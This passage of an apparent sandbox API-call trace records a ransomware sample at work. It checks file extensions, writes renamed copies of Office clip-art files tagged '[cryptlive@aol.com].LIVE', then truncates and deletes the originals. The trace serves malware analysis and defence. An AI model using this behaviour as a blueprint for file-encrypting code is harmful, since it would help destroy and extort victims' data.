Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString=".zip") returned 4 [0154.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.664] lstrlenW (lpString=".rar") returned 4 [0154.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString=".bz2") returned 4 [0154.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString=".7z") returned 3 [0154.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString=".dbf") returned 4 [0154.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString=".1cd") returned 4 [0154.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString=".jpg") returned 4 [0154.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.664] lstrlenW (lpString=".doc") returned 4 [0154.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString=".docx") returned 5 [0154.664] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.664] lstrlenW (lpString=".pdf") returned 4 [0154.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString=".xls") returned 4 [0154.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.665] lstrlenW (lpString=".xlsx") returned 5 [0154.665] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.665] lstrlenW (lpString=".ppt") returned 4 [0154.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.665] lstrlenW (lpString=".zip") returned 4 [0154.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.665] lstrlenW (lpString=".rar") returned 4 [0154.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.665] lstrlenW (lpString=".bz2") returned 4 [0154.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.665] lstrlenW (lpString=".7z") returned 3 [0154.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.665] lstrlenW (lpString=".dbf") returned 4 [0154.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.665] lstrlenW (lpString=".1cd") returned 4 [0154.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.665] lstrlenW (lpString=".jpg") returned 4 [0154.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.666] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.666] lstrlenW (lpString="J0107182.WMF") returned 12 [0154.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.667] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16100) returned 1 [0154.667] CloseHandle (hObject=0x380) returned 1 [0154.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0154.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.667] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.667] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.668] GetLastError () returned 0x0 [0154.668] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0155.147] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0155.148] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.148] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.148] SetEndOfFile (hFile=0x38c) returned 1 [0155.148] CloseHandle (hObject=0x38c) returned 1 [0155.148] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.148] SetEndOfFile (hFile=0x380) returned 1 [0155.150] CloseHandle (hObject=0x380) returned 1 [0155.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0155.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.415] lstrlenW (lpString=".doc") returned 4 [0155.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.415] lstrlenW (lpString=".docx") returned 5 [0155.415] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.415] lstrlenW (lpString=".pdf") returned 4 [0155.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.415] lstrlenW (lpString=".xls") returned 4 [0155.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.415] lstrlenW (lpString=".xlsx") returned 5 [0155.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.415] lstrlenW (lpString=".ppt") returned 4 [0155.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.415] lstrlenW (lpString=".zip") returned 4 [0155.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.415] lstrlenW (lpString=".rar") returned 4 [0155.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.415] lstrlenW (lpString=".bz2") returned 4 [0155.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.415] lstrlenW (lpString=".7z") returned 3 [0155.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.415] lstrlenW (lpString=".dbf") returned 4 [0155.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.416] lstrlenW (lpString=".1cd") returned 4 [0155.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.416] lstrlenW (lpString=".jpg") returned 4 [0155.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.416] lstrlenW (lpString=".doc") returned 4 [0155.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString=".docx") returned 5 [0155.416] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.416] lstrlenW (lpString=".pdf") returned 4 [0155.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString=".xls") returned 4 [0155.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.416] lstrlenW (lpString=".xlsx") returned 5 [0155.416] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.416] lstrlenW (lpString=".ppt") returned 4 [0155.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.416] lstrlenW (lpString=".zip") returned 4 [0155.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.416] lstrlenW (lpString=".rar") returned 4 [0155.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.416] lstrlenW (lpString=".bz2") returned 4 [0155.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.417] lstrlenW (lpString=".7z") returned 3 [0155.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.417] lstrlenW (lpString=".dbf") returned 4 [0155.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.417] lstrlenW (lpString=".1cd") returned 4 [0155.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0155.417] lstrlenW (lpString=".jpg") returned 4 [0155.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.417] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.417] lstrlenW (lpString="J0107316.WMF") returned 12 [0155.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.593] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11288) returned 1 [0155.593] CloseHandle (hObject=0x350) returned 1 [0155.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0156.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.132] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.132] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.134] GetLastError () returned 0x0 [0156.134] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2c18, lpOverlapped=0x0) returned 1 [0156.146] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2c20, lpOverlapped=0x0) returned 1 [0156.147] ReadFile (in: hFile=0x1f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.147] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.147] SetEndOfFile (hFile=0x384) returned 1 [0156.148] CloseHandle (hObject=0x384) returned 1 [0156.148] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.148] SetEndOfFile (hFile=0x1f8) returned 1 [0156.151] CloseHandle (hObject=0x1f8) returned 1 [0156.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString=".doc") returned 4 [0156.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString=".docx") returned 5 [0156.215] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.215] lstrlenW (lpString=".pdf") returned 4 [0156.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString=".xls") returned 4 [0156.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.215] lstrlenW (lpString=".xlsx") returned 5 [0156.215] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.215] lstrlenW (lpString=".ppt") returned 4 [0156.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString=".zip") returned 4 [0156.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.215] lstrlenW (lpString=".rar") returned 4 [0156.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString=".bz2") returned 4 [0156.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString=".7z") returned 3 [0156.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString=".dbf") returned 4 [0156.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString=".1cd") returned 4 [0156.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.215] lstrlenW (lpString=".jpg") returned 4 [0156.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString=".doc") returned 4 [0156.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString=".docx") returned 5 [0156.216] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.216] lstrlenW (lpString=".pdf") returned 4 [0156.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString=".xls") returned 4 [0156.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.216] lstrlenW (lpString=".xlsx") returned 5 [0156.216] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.216] lstrlenW (lpString=".ppt") returned 4 [0156.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString=".zip") returned 4 [0156.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.216] lstrlenW (lpString=".rar") returned 4 [0156.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString=".bz2") returned 4 [0156.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString=".7z") returned 3 [0156.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString=".dbf") returned 4 [0156.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString=".1cd") returned 4 [0156.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0156.216] lstrlenW (lpString=".jpg") returned 4 [0156.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.217] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.217] lstrlenW (lpString="J0107426.WMF") returned 12 [0156.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.217] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11492) returned 1 [0156.217] CloseHandle (hObject=0x1fc) returned 1 [0156.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0156.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.218] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.218] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.219] GetLastError () returned 0x0 [0156.219] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0156.265] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0156.266] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.266] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.266] SetEndOfFile (hFile=0x3b4) returned 1 [0156.266] CloseHandle (hObject=0x3b4) returned 1 [0156.266] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.266] SetEndOfFile (hFile=0x1fc) returned 1 [0156.268] CloseHandle (hObject=0x1fc) returned 1 [0156.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString=".doc") returned 4 [0156.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".docx") returned 5 [0156.270] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.270] lstrlenW (lpString=".pdf") returned 4 [0156.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".xls") returned 4 [0156.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.270] lstrlenW (lpString=".xlsx") returned 5 [0156.270] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.270] lstrlenW (lpString=".ppt") returned 4 [0156.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString=".zip") returned 4 [0156.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.270] lstrlenW (lpString=".rar") returned 4 [0156.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".bz2") returned 4 [0156.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString=".7z") returned 3 [0156.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString=".dbf") returned 4 [0156.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 